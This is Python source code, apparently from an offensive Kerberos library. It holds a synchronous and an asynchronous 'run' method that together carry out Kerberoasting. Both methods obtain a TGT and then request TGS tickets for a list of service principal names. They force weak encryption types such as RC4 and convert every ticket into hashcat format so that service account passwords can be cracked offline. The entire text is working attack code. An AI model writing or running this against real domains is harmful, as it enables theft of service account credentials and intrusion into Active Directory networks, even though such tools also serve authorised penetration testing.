def run(self, targets, override_etype=[2, 3, 16, 23, 17, 18]): """ Requests TGS tickets for all service users specified in the targets list targets: list : the SPN users to request the TGS tickets for allhash: bool : Return all enctype tickets, ot just 23 """ if not self.kcomm: try: self.kcomm = KerbrosComm(self.ccred, self.ksoc) self.kcomm.get_TGT() except Exception as e: logger.exception('Failed to get TGT ticket! Reason: %s' % str(e)) tgss = [] for target in targets: try: tgs, encTGSRepPart, key = self.kcomm.get_TGS( target, override_etype=override_etype) tgss.append(tgs) except Exception as e: logger.debug( 'Failed to get TGS ticket for user %s/%s/%s! Reason: %s' % (target.domain, str( target.service), target.username, str(e))) continue results = [] for tgs in tgss: results.append(TGSTicket2hashcat(tgs)) return results
async def run(self, spns, override_etype=[2, 3, 16, 23, 17, 18]): try: kcomm = AIOKerberosClient(self.cred, self.target) await kcomm.get_TGT(override_etype=override_etype, decrypt_tgt=False) except Exception as e: logger.exception('a') logger.debug('Error logging in! Reason: %s' % (str(e))) results = [] for spn in spns: try: tgs, _, _ = await kcomm.get_TGS(spn, override_etype=override_etype) results.append(TGSTicket2hashcat(tgs)) except Exception as e: logger.exception('b') logger.debug( 'Failed to get TGS ticket for user %s/%s/%s! Reason: %s' % (spn.domain, str(spn.service), spn.username, str(e))) continue return results